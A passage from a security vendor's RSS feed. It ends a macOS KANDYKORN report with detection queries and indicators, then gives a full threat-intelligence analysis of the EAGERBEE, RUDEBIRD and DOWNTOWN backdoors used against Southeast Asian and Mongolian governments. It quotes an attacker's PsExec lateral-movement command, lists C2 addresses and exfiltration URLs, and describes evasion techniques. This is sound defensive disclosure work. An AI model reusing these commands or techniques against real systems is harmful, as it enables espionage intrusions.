<p>The following EQL query can be used to identify the rename or modification of a hidden executable file within the /Users/Shared directory or the execution of a hidden unsigned or untrusted process in the /Users/Shared directory:</p>
<pre><code>any where 
 (
  (event.category : &quot;file&quot; and event.action != &quot;deletion&quot; and file.Ext.header_bytes : (&quot;cffaedfe*&quot;, &quot;cafebabe*&quot;) and 
   file.path : &quot;/Users/Shared/*&quot; and file.name : &quot;.*&quot; ) or 
  (event.category : &quot;process&quot; and event.action == &quot;exec&quot; and process.executable : &quot;/Users/Shared/*&quot; and 
   (process.code_signature.trusted == false or process.code_signature.exists == false) and process.name : &quot;.*&quot;)
 )
</code></pre>
<p>The following EQL query can be used to identify when a URL is supplied as an argument to a python script via the command line:</p>
<pre><code>sequence by process.entity_id with maxspan=30s
[process where event.type == &quot;start&quot; and event.action == &quot;exec&quot; and 
 process.args : &quot;python*&quot; and process.args : (&quot;/Users/*&quot;, &quot;/tmp/*&quot;, &quot;/var/tmp/*&quot;, &quot;/private/tmp/*&quot;) and process.args : &quot;http*&quot; and 
 process.args_count &amp;lt;= 3 and 
 not process.name : (&quot;curl&quot;, &quot;wget&quot;)]
[network where event.type == &quot;start&quot;]
</code></pre>
<p>The following EQL query can be used to identify the attempt of in memory Mach-O loading specifically by looking for the predictable temporary file creation of &quot;NSCreateObjectFileImageFromMemory-*&quot;:</p>
<pre><code>file where event.type != &quot;deletion&quot; and 
file.name : &quot;NSCreateObjectFileImageFromMemory-*&quot;
</code></pre>
<p>The following EQL query can be used to identify the attempt of in memory Mach-O loading by looking for the load of the &quot;NSCreateObjectFileImageFromMemory-*&quot; file or a load with no dylib name provided:</p>
<pre><code>any where ((event.action == &quot;load&quot; and not dll.path : &quot;?*&quot;) or 
  (event.action == &quot;load&quot; and dll.name : &quot;NSCreateObjectFileImageFromMemory*&quot;))
</code></pre>
<h3>YARA</h3>
<p>Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the payloads:</p>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/MacOS_Trojan_SugarLoader.yar">MacOS.Trojan.SUGARLOADER</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/MacOS_Trojan_HLoader.yar">MacOS.Trojan.HLOADER</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/MacOS_Trojan_KandyKorn.yar">MacOS.Trojan.KANDYKORN</a></li>
</ul>
<h2>Observations</h2>
<p>All observables are also available for <a href="https://github.com/elastic/labs-releases/tree/main/indicators/ref7001">download</a> in both ECS and STIX format.</p>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>3ea2ead8f3cec030906dcbffe3efd5c5d77d5d375d4a54cca03bfe8a6cb59940</code></td>
<td>SHA-256</td>
<td>.log, .sld</td>
<td>SUGARLOADER</td>
</tr>
<tr>
<td><code>2360a69e5fd7217e977123c81d3dbb60bf4763a9dae6949bc1900234f7762df1</code></td>
<td>SHA-256</td>
<td>Discord (fake)</td>
<td>HLOADER</td>
</tr>
<tr>
<td><code>927b3564c1cf884d2a05e1d7bd24362ce8563a1e9b85be776190ab7f8af192f6</code></td>
<td>SHA-256</td>
<td></td>
<td>KANDYKORN</td>
</tr>
<tr>
<td><code>http://tp-globa[.]xyz//OdhLca1mLUp/lZ5rZPxWsh/7yZKYQI43S/fP7savDX6c/bfC</code></td>
<td>url</td>
<td></td>
<td>FinderTools C2 URL</td>
</tr>
<tr>
<td><code>tp-globa[.]xyz</code></td>
<td>domain-name</td>
<td></td>
<td>FinderTools C2 domain</td>
</tr>
<tr>
<td><code>192.119.64[.]43</code></td>
<td>ipv4-addr</td>
<td>tp-globa IP address</td>
<td>FinderTools C2 IP</td>
</tr>
<tr>
<td><code>23.254.226[.]90</code></td>
<td>ipv4-addr</td>
<td></td>
<td>SUGARLOADER C2 IP</td>
</tr>
<tr>
<td><code>D9F936CE628C3E5D9B3695694D1CDE79E470E938064D98FBF4EF980A5558D1C90C7E650C2362A21B914ABD173ABA5C0E5837C47B89F74C5B23A7294CC1CFD11B</code></td>
<td>64 byte key</td>
<td>RC4 key</td>
<td>SUGARLOADER, KANDYKORN</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://www.elastic.co/jp/security-labs/DPRK-strikes-using-a-new-variant-of-rustbucket">The DPRK strikes using a new variant of RUSTBUCKET — Elastic Security Labs</a></li>
<li><a href="https://x.com/tiresearch1/status/1708141542261809360">https://x.com/tiresearch1/status/1708141542261809360</a></li>
<li><a href="https://www.reddit.com/r/hacking/comments/15b4uti/comment/jtprebt/">https://www.reddit.com/r/hacking/comments/15b4uti/comment/jtprebt/</a></li>
<li><a href="https://www.reddit.com/r/Malware/comments/15b595e/looks_like_a_try_to_steel_some_data/">Looks like a try to steel some data : r/Malware</a></li>
<li><a href="https://www.reddit.com/r/pihole/comments/15d11do/malware_project_mimics_pihole/jtzmpqh/">https://www.reddit.com/r/pihole/comments/15d11do/malware_project_mimics_pihole/jtzmpqh/</a></li>
<li><a href="https://objective-see.org/blog/blog_0x51.html">Lazarus Group Goes 'Fileless'</a></li>
<li><a href="https://slyd0g.medium.com/understanding-and-defending-against-reflective-code-loading-on-macos-e2e83211e48f">Understanding and Defending Against Reflective Code Loading on macOS | by Justin Bui</a></li>
<li><a href="https://hackd.net/posts/macos-reflective-code-loading-analysis/">macOS reflective code loading analysis · hackd</a></li>
</ul>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/jp/security-labs/assets/images/elastic-catches-dprk-passing-out-kandykorn/photo-edited-01@2x.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[Introducing the REF5961 intrusion set]]></title>
            <link>https://www.elastic.co/jp/security-labs/introducing-the-ref5961-intrusion-set</link>
            <guid>introducing-the-ref5961-intrusion-set</guid>
            <pubDate>Wed, 04 Oct 2023 00:00:00 GMT</pubDate>
            <description><![CDATA[The REF5961 intrusion set discloses three new malware families targeting ASEAN members. The threat actor leveraging this intrusion set continues to develop and mature their capabilities.]]></description>
            <content:encoded><![CDATA[<h2>Preamble</h2>
<p><strong>Updated October 11, 2023 to include links to the BLOODALCHEMY backdoor.</strong></p>
<p>Elastic Security Labs continues to monitor state-aligned activity, targeting governments and multinational government organizations in Southern and Southeastern Asia. We’ve observed a batch of new and unique capabilities within a complex government environment. This intrusion set is named REF5961.</p>
<p>In this publication, we will highlight distinctions between malware families, demonstrate relationships to known threats, describe their features, and share resources to identify or mitigate elements of an intrusion. Our intent is to help expose this ongoing activity so the community can better understand these types of threats.</p>
<p>The samples in this research were discovered to be co-residents with a previously reported intrusion set, REF2924 (original reporting <a href="https://www.elastic.co/jp/security-labs/siestagraph-new-implant-uncovered-in-asean-member-foreign-ministry">here</a> and updated <a href="https://www.elastic.co/jp/security-labs/update-to-the-REF2924-intrusion-set-and-related-campaigns">here</a>). The victim is the Foreign Affairs Ministry of a member of the Association of Southeast Asian Nations (ASEAN).</p>
<p>Elastic Security Labs describes the operators of the REF2924 and REF5961 intrusion sets as state-sponsored and espionage-motivated due to observed targeting and post-exploitation collection activity. Further, the correlation of execution flows, tooling, infrastructure, and victimology of multiple campaigns we’re tracking along with numerous third-party reports makes us confident this is a China-nexus actor.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image27.jpg" alt="REF5961 intrusion execution flow" /></p>
<p>Part of this intrusion set includes a new x86-based backdoor called BLOODALCHEMY, and it is covered in depth <a href="https://www.elastic.co/jp/security-labs/disclosing-the-bloodalchemy-backdoor">here</a>.</p>
<h2>Key takeaways</h2>
<ul>
<li>Elastic Security Labs is disclosing three new malware families:
<ul>
<li>EAGERBEE</li>
<li>RUDEBIRD</li>
<li>DOWNTOWN</li>
</ul>
</li>
<li>Code sharing and network infrastructure have connected malware in this intrusion set to other campaigns</li>
<li>The threat actors targeting ASEAN governments and organizations continue to develop and deploy additional capabilities</li>
</ul>
<h2>EAGERBEE</h2>
<p>EAGERBEE is a newly identified backdoor discovered by Elastic Security Labs that loads additional capabilities using remotely-downloaded PE files, hosted in C2. However, its implementation and coding practices reveal a lack of advanced skills from the author, relying on basic techniques.</p>
<p>During our research outlined below, we identified string formatting and underlying behavior that aligns with previous research attributed to a Chinese-speaking threat actor referred to as <a href="https://malpedia.caad.fkie.fraunhofer.de/actor/apt27">LuckyMouse</a> (APT27, EmissaryPanda).</p>
<h3>Code analysis</h3>
<p>EAGERBEE dynamically constructs its Import Address Table (IAT) during runtime, populating a designated data structure with the memory addresses of essential Windows APIs that the malware needs.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image25.png" alt="EAGERBEE dynamically constructs its Import Address Table" /></p>
<p><strong><em>Note: Dynamic import tables are used as an anti-analysis technique by malware authors to impair static analysis of their binaries. These techniques prevent most static analysis software from determining the imports and thus force analysts through laborious manual methods to determine what the malware is doing.</em></strong></p>
<p>After resolving all the required Windows APIs, the malware creates a mutex with the string <code>mstoolFtip32W</code> to prevent multiple instances of the malware from running on the same machine.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image1.png" alt="Mutex setup" /></p>
<p>The malware gathers key information about the compromised system:</p>
<ul>
<li>The computer's name is obtained using the <code>GetComputerNameW</code> function</li>
<li>The malware retrieves the Windows version by utilizing the <code>GetVersionExW</code> function</li>
<li>A globally unique identifier (GUID) is generated through the <code>CoCreateGuid</code> function</li>
<li>The processor architecture information is acquired using the <code>GetNativeSystemInfo</code> function</li>
<li>The ProductName, EditionID, and CurrentBuildNumber are extracted from the designated registry key <code>SOFTWARE\Microsoft\Windows NT\CurrentVersion</code></li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image19.png" alt="Information collection" /></p>
<p>The sample’s operational schedule is controlled by the string <code>0-5:00:23;6:00:23;</code>. In our sample the malware conforms to the outlined schedule using the ISO 8601 24-hour timekeeping system:</p>
<ul>
<li>active from Sunday(0) to Friday(5)</li>
<li>all hours between 00 and 23</li>
<li>Saturday(6) all hours between 00 and 23</li>
</ul>
<p>This functionality allows the malware to impose self-restrictions during specific timeframes, showcasing both its adaptability and control.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image3.png" alt="Configuration scheduling" /></p>
<p>The malware's C2 addresses are either hardcoded values or stored in an XOR-encrypted file named <code>c:\users\public\iconcache.mui</code>. This file is decrypted using the first character as the decryption key.</p>
<p>This configuration file contains a list of semicolon-delimited IP addresses. The format adheres to the structure <code>IP:PORT</code>, where the character <code>s</code> is optional and instructs the malware to open a Secure Socket Layer (SSL) for encrypted communication between C2 and the malware.
<img src="https://www.elastic.co/jp/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image18.png" alt="Malware’s hardcoded configuration of C2 IPs" /></p>
<p>The configuration optionally accepts a list of port numbers on which the malware will listen. The specific configuration mode, whether it's for reverse or forward connections, determines this behavior.</p>
<p>A configuration flag is embedded directly into the code in both operating modes. This flag empowers the malware to select between utilizing SSL encryption during its interactions with the C2 server or plain text communication.</p>
<p>In passive listening mode, the malware opens a listening socket on the port indicated in its configuration.</p>
<p>When operating in active connection mode, the malware attempts to load its configuration from the file <code>c:\users\public\iconcache.mui</code>. In the event that this file is not found, the malware falls back to its hardcoded configuration to acquire the necessary IPs</p>
<p>The author employs a global variable embedded in the source code to select between modes. Importantly, both are included in the binary, with only one being executed based on the selection. Leaving this dormant capability in the binary may have been a mistake, but one that helps researchers understand the technical maturity of this group. Generally speaking, malware authors benefit from removing unused code that may be used against them.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image16.png" alt="Both forward and reverse connection functionalities are present in the binary" /></p>
<p><strong><em>Note: In C programming, modularity is achieved through the use of #define directives to selectively include or exclude code parts in the compiled binary. However, the malware developer employed a less advisable approach in this case. They utilized static global variables whose values are set during compilation. Consequently, the resulting binary contains both utilized and unused functions. During runtime, the binary assesses the value of these static global variables to determine its behavior. Though functional, this is neither the best programming nor tradecraft practice as it permits analysis and detection engineering of code used outside the identified intrusion.</em></strong></p>
<p>The malware has the capability to detect the presence of an HTTP proxy configuration on the host machine by inspecting the <code>ProxyEnable</code> registry key within <code>Software\Microsoft\windows\CurrentVersion\Internet Settings</code>. If this key value is set to <code>1</code>, the malware extracts the information in the <code>ProxyServer</code> key.</p>
<p>If no proxy server is set, the malware connects directly to C2.</p>
<p>However, if the proxy settings are defined, the malware also initializes the proxy by sending a <code>CONNECT</code> request, and its data to the configured destination. The malware author made a typo in the HTTP request code; they mistakenly wrote <code>DONNECT</code> instead of <code>CONNECT</code> in the HTTP request string in the binary. This is a reliably unique indicator for those analyzing network captures.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image12.png" alt="HTTP request string to connect to the setup proxy" /></p>
<p>Upon establishing a connection to C2, The malware downloads executable files from C2, likely pushed automatically. It validates that each executable is 64bit, then extracts the entry point and modifies memory protections to allow execution using the VirtualProtect API.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image7.png" alt="Payload execution in the same process" /></p>
<h3>EAGERBEE connection to a Mongolian campaign</h3>
<p>During our EAGERBEE analysis, we also saw an additional two (previously unnamed) EAGERBEE <a href="https://www.virustotal.com/gui/search/09005775FC587AC7BF150C05352E59DC01008B7BF8C1D870D1CEA87561AA0B06%250AA191D8059E93C0AB479DE45CDD91C41B985F9BCCD7B2CAD9F171FEA1C5F19E2E/files">samples</a> involved in a targeted campaign focused on Mongolia. These two EAGERBEE samples were both respectively bundled with other files and used a similar naming convention (<code>iconcache.mui</code> for EAGERBEE and <code>iconcaches.mui</code> in the Mongolian campaign). The samples consisted of multiple files and a lure document.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image15.png" alt="Decompressed files inside Mongolian campaign sample" /></p>
<p>While analyzing the Mongolian campaign samples, we found a previous <a href="https://www.virustotal.com/gui/url/7e0d899d54c6a0f43fbac0e633d821eefa9057e29df8c4956321fe947daaaa54">webpage</a> (<code>http://president[.]mn/en/ebooksheets.php</code>) hosted under Mongolian infrastructure serving a <a href="https://www.virustotal.com/gui/file/af8cb76d9d955d654ec89b85d1ab35e1886ec2ba1a8c600a451d1bd383fb4e66/detection">RAR file</a> named <code>20220921_2.rar</code>. Given the VirusTotal scan date of the file and the filename, it is likely to have been created in September 2022.</p>
<p>The lure text is centered around the regulations for the “Billion Trees National Movement Fund” and has been an important <a href="https://thediplomat.com/2022/06/mongolias-1-billion-tree-movement/">topic</a> in recent years related to an initiative taken on by Mongolia. To address food security, climate impacts, and naturally occurring but accelerating desertification, Mongolia’s government has undertaken an ambitious goal of planting one billion trees throughout the country.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image5.png" alt="Lure document" /></p>
<p>For this infection chain, they leveraged a signed Kaspersky application in order to sideload a <a href="https://www.virustotal.com/gui/file/4b3dc8609cba089e666b2086264e6f71dada57fdb3f160d2f5e546881a278766/relations">malicious DLL</a>. Upon execution, sensitive data and files were collected from the machine and uploaded to a hard-coded Mongolian government URL (<code>www.president[.]mn/upload.php</code>) via cURL. Persistence is configured using a Registry Run Key.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image14.png" alt="Hard-coded domain in first sample" /></p>
<p><strong><em>Note: Though it does not contain the .gov second-level domain, <a href="http://www.president%5B.%5Dmn">www.president[.]mn</a> does appear to be the official domain of the President of Mongolia, and is hosted within government infrastructure. Abuse email is directed to <a href="mailto:oyunbold@datacenter.gov">oyunbold@datacenter.gov</a>[.]mn which appears to be legitimate.</em></strong> Based on string formatting and underlying behavior, this sample aligns with public <a href="https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/">reporting</a> from AVAST related to a utility they call DataExtractor1.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image9.png" alt="Sensitive file collection on different drives" /></p>
<p>While we didn’t find a WinRAR archive for the other linked sample, we found this related <a href="https://www.virustotal.com/gui/file/a191d8059e93c0ab479de45cdd91c41b985f9bccd7b2cad9f171fea1c5f19e2e">executable</a>. It functions similarly, using a different callback domain hosted on Mongolian infrastructure (<code>https://intranet.gov[.]mn/upload.php</code>).</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image13.png" alt="Hard-coded domain in the second sample" /></p>
<p>While it is not clear how this infrastructure was compromised or the extent to which it has been used, impersonating trusted systems may have enabled the threat to compromise other victims and collect intelligence.</p>
<h3>EAGERBEE Summary</h3>
<p>EAGERBEE is a technically straightforward backdoor with forward and reverse C2 and SSL encryption capabilities, used to conduct basic system enumeration and deliver subsequent executables for post-exploitation. The C2 mode is defined at compile time, and configurable with an associated config file with hardcoded fallback.</p>
<p>Using code overlap analysis, and the fact that EAGERBEE was bundled with other samples from VirusTotal, we identified a C2 server hosted on Mongolian government infrastructure. The associated lure documents also reference Mongolian government policy initiatives. This leads us to believe that the Mongolian government or non-governmental organizations (NGOs) may have been targeted by the REF2924 threat actor.</p>
<h2>RUDEBIRD</h2>
<p>Within the contested REF2924 environment, Elastic Security Labs identified a lightweight Windows backdoor that communicates over HTTPS and contains capabilities to perform reconnaissance and execute code. We refer to this malware family as RUDEBIRD.</p>
<h3>Initial execution</h3>
<p>The backdoor was executed by a file with an invalid signature, <code>C:\Windows\help\RVTDM.exe</code>, which resembles the Sysinternals screen magnifier utility ZoomIt. Shortly after being executed, Elastic Defend registered a process injection alert.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image28.png" alt="PE signature and original filename details of RVTDM.exe" /></p>
<p>The process was executed with the parent process (<code>w3wp.exe</code>) coming from a Microsoft Exchange application pool. This is consistent with the exploitation of an unpatched Exchange vulnerability, and prior research supports that hypothesis.</p>
<h3>Lateral movement</h3>
<p>RUDEBIRD used PsExec (<code>exec.exe</code>) to execute itself from the SYSTEM account and then move laterally from victim 0 to another targeted host. It is unclear if PsExec was brought to the environment by the threat actor or if it was already present in the environment.</p>
<p><code>&quot;C:\windows\help\exec.exe&quot; /accepteula \\{victim-1} -d -s C:\windows\debug\RVTDM.EXE</code></p>
<h3>Code analysis</h3>
<p>RUDEIBIRD is composed of shellcode that resolves imports dynamically by accessing the Thread Environment Block (TEB) / Process Environment Block (PEB) and walking the loaded modules to find base addresses for the <code>kernel32.dll</code> and <code>ntdll.dll</code> modules. These system DLLs contain crucial functions that will be located by the malware in order to interact with the Windows operating system.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image22.png" alt="Resolving imports using TEB/PEB" /></p>
<p>RUDEBIRD uses a straightforward API hashing algorithm with multiplication (<code>0x21</code>) and addition that is <a href="https://github.com/OALabs/hashdb/blob/main/algorithms/mult21_add.py">publicly available</a> from OALabs. This provides defense against static-analysis tools that analysts may use to inspect the import table and discern what capabilities a binary has.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image11.png" alt="RUDEBIRD API Hashing algorithm" /></p>
<p>After resolving the libraries, there is an initial enumeration function that collects several pieces of information including:</p>
<ul>
<li>Hostname</li>
<li>Computer name</li>
<li>Username</li>
<li>IP Address</li>
<li>System architecture</li>
<li>Privilege of the current user</li>
</ul>
<p>For some functions that return larger amounts of data, the malware implements compression using <code>RtlCompressBuffer</code>. The malware communicates using HTTPS to IP addresses loaded in memory from its configuration. We observed two IP addresses in the configuration in our sample:</p>
<ul>
<li><code>45.90.58[.]103</code></li>
<li><code>185.195.237[.]123</code></li>
</ul>
<p>Strangely, there are several functions throughout the program that include calls to <code>OutputDebugStringA</code>. This function is typically used during the development phase and serves as a mechanism to send strings to a debugger while testing a program. Normally, these debug messages are expected to be removed after development is finished. For example, the result of the administrator check is printed if run inside a debugger.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image21.png" alt="RUDEBIRD debug string" /></p>
<p>RUDEBIRD uses mutexes to maintain synchronization throughout its execution. On launch, the mutex is set to <code>VV.0</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image24.png" alt="RUDEBIRD mutex" /></p>
<p>After the initial enumeration stage, RUDEBIRD operates as a traditional backdoor with the following capabilities:</p>
<ul>
<li>Retrieve victim’s desktop directory path</li>
<li>Retrieve disk volume information</li>
<li>Perform file/directory enumeration</li>
<li>Perform file operations such as reading/writing file content</li>
<li>Launch new processes</li>
<li>File/folder operations such as creating new directories, move/copy/delete/rename files</li>
<li>Beacon timeout option</li>
</ul>
<h2>DOWNTOWN (SManager/PhantomNet)</h2>
<p>In the REF2924 environment, we observed a modular implant we call DOWNTOWN. This sample shares a plugin architecture, and code similarities, and aligns with the victimology described in the publicly reported malware <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.smanager">SManager/PhantomNet</a>. While we have little visibility into the impacts of its overall use, we wanted to share any details that may help the community.</p>
<p>SManager/PhantomNet has been attributed to <a href="https://malpedia.caad.fkie.fraunhofer.de/actor/ta428">TA428</a> (Colourful Panda, BRONZE DUDLEY), a threat actor likely sponsored by the Chinese government. Because of the shared plugin architecture, code similarities, and victimology, we are attributing DOWNTOWN with a moderate degree of confidence to a nationally sponsored Chinese threat actor.</p>
<h3>Code analysis</h3>
<p>For DOWNTOWN, we collected the plugin from a larger framework. This distinction is made based on unique and shared exports from previously published <a href="https://www.welivesecurity.com/2020/12/17/operation-signsight-supply-chain-attack-southeast-asia/">research</a> by ESET. One of the exports contains the same misspelling previously identified in the ESET blog, <code>GetPluginInfomation</code> (note: <code>Infomation</code> is missing an <code>r</code>). The victimology of REF2924 is consistent with their reported victim vertical and region.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image8.png" alt="DOWNTOWN exports" /></p>
<p>In our sample, the plugin is labeled as “ExplorerManager”.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image26.png" alt="GetPlugInfomation export" /></p>
<p>The majority of the code appears to be centered around middleware functionality (linked lists, memory management, and thread synchronization) used to task the malware.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image4.png" alt="Strings found inside DOWNTOWN sample" /></p>
<p>In a similar fashion to RUDEBIRD above, DOWNTOWN also included the debug functionality using  <code>OutputDebugStringA</code>. Again, debugging frameworks are usually removed once the software is moved from development to production status. This could indicate that this module is still in active development or a lack of operational scrutiny by the malware author(s).</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image2.png" alt="OutputDebugStringA usage" /></p>
<p>Some functionality observed in the sample included:</p>
<ul>
<li>File/folder enumeration</li>
<li>Disk enumeration</li>
<li>File operations (delete/execute/rename/copy)</li>
</ul>
<p>Unfortunately, our team did not encounter any network/communication functionality or find any domain or IP addresses tied to this sample.</p>
<h3>DOWNTOWN Summary</h3>
<p>DOWNTOWN is part of a modular framework that shows probable ties to an established threat group. The observed plugin appears to provide middleware functionality to the main implant and contains several functions to perform enumeration.</p>
<h2>Network infrastructure intersection</h2>
<p>When performing an analysis of the network infrastructure for EAGERBEE and RUDEBIRD, we identified similarities in the domain hosting provider, subdomain naming, registration dates, and service enablement between the two malware families’ C2 infrastructure. Additionally, we were able to use TLS leaf certificate fingerprints to establish another connection between EAGERBEE and the Mongolian campaign infrastructure.</p>
<h3>Shared network infrastructure</h3>
<p>As identified in the malware analysis section for EAGERBEE, there were two IP addresses used for C2: <code>185.82.217[.]164</code> and <code>195.123.245[.]79</code>.</p>
<p>Of the two, <code>185.82.217[.]164</code> had an expired TLS certificate registered to it for <code>paper.hosted-by-bay[.]net</code>. The subdomain registration for <code>paper.hosted-by-bay[.]net</code> and the TLS certificate were registered on December 14, 2020.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image17.jpg" alt="paper.hosted-by-bay[.]net TLS certificate" /></p>
<p>As identified in the malware analysis section for RUDEBIRD, there were two IP addresses used for C2: <code>45.90.58[.]103</code> and <code>185.195.237[.]123</code>.</p>
<p><code>45.90.58[.]103</code> was used to register the subdomain <code>news.hosted-by-bay[.]net</code>, on December 13, 2020.</p>
<p>Both IP addresses (one from EAGERBEE and one from RUDEBIRD) were assigned to subdomains (<code>paper.hosted-by-bay[.]net</code> and <code>news.hosted-by-bay[.]net</code>) within one day at the domain <code>hosted-by-bay[.]net</code>.</p>
<p><strong><em>Note: While <code>195.123.245[.]79</code> (EAGERBEE) and <code>185.195.237[.]123</code> (RUDEBIRD) are malicious, we were unable to identify anything atypical of normal C2 nodes. They used the same defense evasion technique (described below) used by <code>185.82.217[.]164</code> (EAGERBEE) and <code>45.90.58[.]103</code> (RUDEBIRD).</em></strong></p>
<h3>Domain analysis</h3>
<p>When performing an analysis of the <code>hosted-by-bay[.]net</code> domain, we see that it is registered to the IP address <code>45.133.194[.]106</code>. This IP address exposes two TCP ports, one is the expected TLS port of <code>443</code>, and the other is <code>62753</code>.</p>
<p><strong><em>Note: Port <code>443</code> has a Let’s Encrypt TLS certificate for <code>paypal.goodspaypal[.]com</code>. This domain does not appear to be related to this research but should be categorized as malicious based on its registration to this IP.</em></strong></p>
<p>On port <code>62753</code>, there was a self-signed wildcard TLS leaf certificate with a fingerprint of <code>d218680140ad2c6e947bf16020c0d36d3216f6fc7370c366ebe841c02d889a59</code> (<code>*.REDACTED[.]mn</code>). This fingerprint is used for one host, <code>shop.REDACTED[.]mn</code>. The 10-year TLS certificate was registered on December 13, 2020.</p>
<pre><code>Validity
Not Before: 2020-12-13 11:53:20
Not After: 2030-12-11 11:53:20
Subject: CN=shop.REDACTED[.]mn
</code></pre>
<p><code>.mn</code> is the Internet ccTLD for Mongolia and REDACTED is a large bank in Mongolia. When researching the network infrastructure for REDACTED, we can see that they do currently own their DNS infrastructure.</p>
<p>It does not appear that <code>shop.REDACTED[.]mn</code> was ever registered. This self-signed TLS certificate was likely used to encrypt C2 traffic. While we cannot confirm that this certificate was used for EAGERBEE or RUDEBIRD, in the malware code analysis of both EAGERBEE and RUDEBIRD, we identified that TLS to an IP address is an available malware configuration option. We do believe that this domain is related to EAGERBEE and RUDEBIRD based on the registration dates, IP addresses, and subdomains of the <code>hosted-by-bay[.]net</code> domain.</p>
<p>As noted in the EAGERBEE malware analysis, we identified two other previously unnamed EAGERBEE samples used to target Mongolian victims and also leveraged Mongolian C2 infrastructure.</p>
<h3>Defense evasion</h3>
<p>Finally, we see all of the C2 IP addresses add and remove services at similar dates and times. This is a tactic to hinder the analysis of the C2 infrastructure by limiting its availability. It should be noted that the history of the service enablement and disablement (provided by <a href="https://search.censys.io/">Censys.io</a> databases) is meant to show possible coordination in C2 availability. The images below show the last service change windows, further historical data was not available.</p>
<p><code>192.123.245[.]79</code> had TCP port <code>80</code> enabled on September 22, 2023 at 07:31 and then disabled on September 24, 2023 at 07:42.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image6.jpg" alt="192.123.245[.]79 C2 service windows" /></p>
<p><code>185.195.237[.]123</code> had TCP port <code>443</code> enabled on September 22, 2023 at 03:33 and then disabled on September 25, 2023 at 08:08.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image23.jpg" alt="185.195.237[.]123 C2 service windows" /></p>
<p><code>185.82.217[.]164</code> had TCP port <code>443</code> enabled on September 22, 2023 at 08:49 and then disabled on September 25, 2023 at 01:02.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image20.jpg" alt="185.82.217[.]164 C2 service windows" /></p>
<p><code>45.90.58[.]103</code> had TCP port <code>443</code> enabled on September 22, 2023 at 04:46 and then disabled on September 24, 2023 at 09:57.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/introducing-the-ref5961-intrusion-set/image10.jpg" alt="45.90.58[.]103 C2 service windows" /></p>
<h3>Network intersection summary</h3>
<p>EAGERBEE and RUDEBIRD are two malware samples, co-resident on the same infected endpoint, in the same environment. This alone builds a strong association between the families.</p>
<p>When adding the fact that both families use C2 endpoints that have been used to register subdomains on the same domain <code>hosted-by-bay[.]net</code>), and the service availability coordination, leads us to say with a high degree of confidence that the malware and campaign operators are from the same tasking authority, or organizational umbrella.</p>
<h2>Summary</h2>
<p>EAGERBEE, RUDEBIRD, and DOWNTOWN backdoors all exhibit characteristics of incompleteness whether using “Test” in file/service names, ignoring compilation best practices, leaving orphaned code, or leaving a smattering of extraneous debug statements.</p>
<p>They all, however, deliver similar tactical capabilities in the context of this environment.</p>
<ul>
<li>Local enumeration</li>
<li>Persistence</li>
<li>Download/execute additional tooling</li>
<li>C2 options</li>
</ul>
<p>The variety of tooling performing the same or similar tasks with varying degrees and types of miscues causes us to speculate that this environment has attracted the interest of multiple players in the REF2924 threat actor’s organization. The victim's status as a government diplomatic agency would make it an ideal candidate as a stepping-off point to other targets within and outside the agency’s national borders. Additionally, it is easy to imagine that multiple entities within a national intelligence apparatus would have collection requirements that could be satisfied by this victim directly.</p>
